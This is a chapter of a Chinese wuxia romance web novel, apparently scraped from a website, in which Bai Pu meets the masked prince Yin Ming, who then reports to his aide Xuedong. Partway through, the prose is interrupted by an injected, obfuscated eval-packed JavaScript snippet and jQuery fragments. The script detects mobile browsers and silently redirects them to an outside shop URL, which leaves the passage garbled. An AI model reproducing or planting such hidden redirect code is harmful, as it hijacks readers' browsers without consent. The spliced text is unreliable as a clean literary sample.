白璞感觉到自己被人盯着,后背传来了灼湿的感觉。
他猛地回头看去,两人视线相撞。
在瞪圆眼睛,大喊出“抓刺客”之前,白璞的嘴唇就被一双苍劲有力的大手捂住了。
“呜……呜……”
白璞挣扎着扭头,想要摆脱殷明的控制。眼眸里急的眼泪快出来了,汪汪的看着殷明。
“不要出声,先听我说。”殷明附耳对白璞沉声道。他似乎是故意拖着长长的腔调,很享受将白璞控制在怀里。
白璞立刻乖巧起来,他点了点头,“呜!”
殷明松开了手,也松开了对白璞的控制。
白璞以最快的速度闪开,缩了缩脖子,“就是你杀了穆有才?”他见识了殷明的力气,以及非常精湛的擒拿术,他确实有能力杀穆有才。
殷明的视线直勾勾得看着白璞亮晶晶的眼眸,不舍得挪走,他喉结上下滚动,片刻,哑着嗓子沉声道,“不是我。”
确实不是他亲自干的。
“那你是谁,谁派你来的?”白璞复杂地看着他。
“我是……你外公找来保护你的,白璞少爷。”殷明看到白璞的那一刻起,就决定编好谎言,见见他。“这是秘密保护。”
能说出他的身份的人不多,娘也确实知道自己在这儿。
白璞将信将疑,“你叫什么名字?”
“迁明。”
迁族,是殷明母亲故族的姓氏,属于大起的异族之一。迁明,是他在江湖上一直用的名号,也是这个人皮面具的名字。
这个名号虽然没有欧阳剑响亮,但在江湖,也小有名气。
白璞听说过迁明,但是从没有见过,他表情依然没有半点松动,“你怎么证明你是他?”
殷明从没想过证明自己是自己。
屋内一时寂静无声。
“那个,对不起,”白璞意识到了自己的唐突,“咳咳,我这几天在执行任务,比较紧张。”
“是你杀的穆有才?”殷明佯装不知情,刚刚他和守卫的谈话被他听得一清二楚。
白璞忙摆手,“怎么可能……啊对,你可不许给我外公打小报告。”
“你外公现在没空管你的事情。”殷明眼神平静,眸光深深。他比白璞更清楚沈庆山的为人,以及目前在朝廷里的处境。
白璞释然,点了点头,走到书桌旁的躺椅前,躺了上去,翘着二郎腿。
“我躺一会儿,明大侠你自便。”
吃饱了,有点困的慌。再加上刚刚一吓,浑身的气血都快被用尽了。自从连着几天发烧,体力透支的厉害。
殷明没打算结束谈话,“你没有杀他,为什么要冒名顶替?”
“还不是那个蔡非同出的主意。”
“你为什么要答应配合他?”殷明走到白璞的躺椅旁,垂眸看向白璞。
白璞仰头也看向殷明,高大的身影,宽阔而有力的臂膀,那张脸仔细看上去有点不自然,眸色却深邃,比海要辽阔。
蓦的,殷明附身,垂着睫一手撑在了他的肩头。
“你要看多久?”眼中的凌厉消散,攀上些许温柔。
“你的脸……”白璞还在仔细端详着凑得更近的殷明,“你带着面具吗?”
殷明没太惊讶,他并不想向白璞隐瞒,这么近的距离能发现也很正常,他点了点头,“被你发现了。”
“你一般出门都带着面具?”白璞并不关心面具下的长相,反而也跃跃欲试,“你的面具从哪儿买的?”
他寻思着,等将来也要买一个。
隐姓埋名,逍遥自在。
“很久之前找人缝的。”殷明非常有耐心的回答白璞,“你若喜欢,我找他给你做一个。”
白璞嘿嘿一笑,流光溢彩的眼眸弯弯得,“好啊,明大侠,让他给我做一个比你还丑的。”
双目近距离对视片刻,殷明克制地起身,嗓音有些沙哑,“可以,不过你为什么非要答应蔡非同?”
白璞有意在回避这个尖锐的问题,不想回答。
温暖的空气有点麻痹了他的神经,他的思绪还继续停留在面具上,“明大侠,我想看看你真实的样子。”
殷明沉默了片刻,倏而,缓声道,“我比面具还丑。”
“不会,你的眼睛比海还美。”白璞轻声道。
他说这话的本意就是普通的赞美,午睡困意在丝丝缕缕的往外扩散,嗓音也虚化了起来,殷明定眼看了白璞一会儿。
白璞片刻间已经睡着了。
殷明伸手给白璞盖上了毯子,白璞哼唧了一声,侧身裹着毯子蜷在了一起,半边侧脸也是棱角分明,清澈宁远的疏离感。
殷明没有想到白璞身上这么瘦,刚刚搂腰掣肩的时候,也不敢用力,感觉能把骨头捏碎。现在蜷缩在一起,像一只沉睡的猫咪。
看来得早日给白璞安排一位江湖上的老师。
天天跟着罗觅尔,耗着气血做着一些行侠仗义的小事,外加常受穆有才这些狗腿子的冤枉气——若再不练功沉淀,修炼心神,只会更加虚弱。
想到这儿,殷明决定先让白璞休息着,自己前往花间酒楼。
-
晌午饭点,江县城里非常热闹,来来往往的马车,还有各个食肆中百姓们谈得津津有味的八卦们。
花间酒楼的生意非常兴隆,大堂已经坐满了人,殷明并没有直接进去,而是走到东面墙壁上,修长的手指从窗檐下缝隙中摸到了一张纸条,上面写着「东四」二字,落笔是一朵红梅。
殷明不是第一次来,这里是他的势力在江县的落脚点之一,他寻着记忆,找到了酒楼的后门,走了进去。
“东四房,怎么走?”殷明叫住了院内浇花的仆人。
仆人打量了殷明,虽然衣着普通,相貌也丑,但气场有一种说不出道不来的强势,他赶忙给殷明指了指方向,“客官,这边二楼。”
血冬早已等候在殷明房中,她看到殷明推门而入,面露喜色,立刻起身给殷明倒了杯茶。床边衣架上也备好了更换的衣服,也是血冬上午去城中采购的。
“络城可有来信?”殷明喝了口茶解渴后,走到屏风边,肩背一展,脱下身上的黑服,冷声问道。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967391|136874||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
血冬忙背过身去,隔着屏风认真回答道,“司公子那边并无来信。”
司无言现在能起床就不错了。
“京城呢?”
“荒春姐姐的信,说是包一铭派人在查白家小公子。”血冬回答的并不熟练,这是她的知识盲区,“荒春姐姐说内容一定要告诉您,可是,这个白家小公子是谁呀?”
白家在京城势力也不大,可以说,势力微弱到根本入不了王爷的青眼。就连穆有才的家财都比白家的多。
“就是让你去牢中寻的人。”
“哦,是那个画中漂亮的哥哥!”血冬兴致勃勃|起来,“王爷,您去见过他了?”
屏风后,殷明走了出来,已经脱掉了人皮面具,华服香囊,腰佩玉环,都是血冬精挑细选。
殷明点了点头,“他比你小。”
“哦,是弟弟。”血冬吃着桌子上的点心,继续饶有兴趣的问道,“王爷是打算培养他做杀手吗?我可以带他吗?”
不然为何对这么一个默默无名的人这么上心?
在血冬的世界里,只有王爷和自己的这种关系。
而且,血冬也不会再是年纪最小的那位啦!
这个无心的问题,却让殷明感到异常烦躁,犹如一把剑插在了殷明的胸膛。击碎了他刚刚与白璞的见面后的无比轻松的剪影。
他怎会让白璞和自己一起?
白璞厌恶官场,厌恶庙堂,然而,白璞的第一仇人顾恺之就是他殷明之前的一手提拔,现在竟然连包一铭都能……
自己连和白璞见面,都不敢说出真实身份。
怕说出真实的身份后,格外尴尬。
之前期待每一封鸽子的信,现在见到正主,居然发现,不是因为距离导致的煎熬,而是因为——他们不是一路人。
那句白璞迟迟没有回答的问题:“为什么要答应蔡非同配合他?”——答案其实已经非常清楚了。
因为他的世界里,这是很正常的事情。
他没有办法给出特别的原因。
因为除了他同意配合,也没有别的办法了。
殷明太了解白璞。
“……本王不会让他做杀手。”
殷明一只手撑在窗边,骨节分明,更像是在跟自己说,他俊眉微凛,看向窗外。
烈日似火,树影斑驳。
-
白璞在蔡非同的内宅里呆了两日,除了睡就是吃,无聊的时候就翻翻画本子,有时候也会想到那日午后闪现的黑衣面具男。
后面两日,殷明就没有再出现过,以至于白璞甚至都开始怀疑——可能是一场梦?
大脑活跃,又太过紧张,会让梦中的场景格外真实。
尤其是那双如鹰般深邃的眼眸,真有点像之前梦中那个男人的感觉。
想到这儿,白璞的耳朵就热的发红。
“小黑——”
蓦的,张自闲鬼鬼祟祟的推门而入,压低了嗓音喊了一句,打断了白璞的思绪。
白璞期待的闻声望去,看到张自闲后,居然失落地嚷道,“怎么是你?”